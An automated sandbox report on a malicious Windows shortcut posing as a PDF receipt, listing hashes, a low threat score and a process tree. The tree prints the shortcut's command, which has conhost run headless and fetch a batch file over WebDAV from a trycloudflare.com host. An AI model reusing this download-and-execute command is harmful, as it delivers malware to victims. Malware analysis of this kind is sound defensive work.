1541fe644fcb6221c7b3f6e850d8382490bd9c52b340772b3d07d8a5cd91d454

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
14/08/2024, 16:31

Target

E_RECEIPT_630937438282828_pdf.lnk
Size

1KB
MD5

5474a826c8d50b21be38135bbb8c811d
SHA1

53b1d4e2268c9b7e775b613008dea845a5805322
SHA256

1541fe644fcb6221c7b3f6e850d8382490bd9c52b340772b3d07d8a5cd91d454
SHA512

f77bd6b1103571523aaa42da215577c7c54dd9322e9ee2ed53d64a6e10aab1ab7ecf5fddc7d8ff0e9620f0d40a112fcee7fe7ad71fc28fd9863b082026b47e00

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2764	2136	cmd.exe	31
PID 2136 wrote to memory of 2764	2136	cmd.exe	31
PID 2136 wrote to memory of 2764	2136	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\E_RECEIPT_630937438282828_pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless \\fitting-born-bm-po.trycloudflare.com@SSL\DavWWWRoot\new.bat
  2⤵
  PID:2764

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact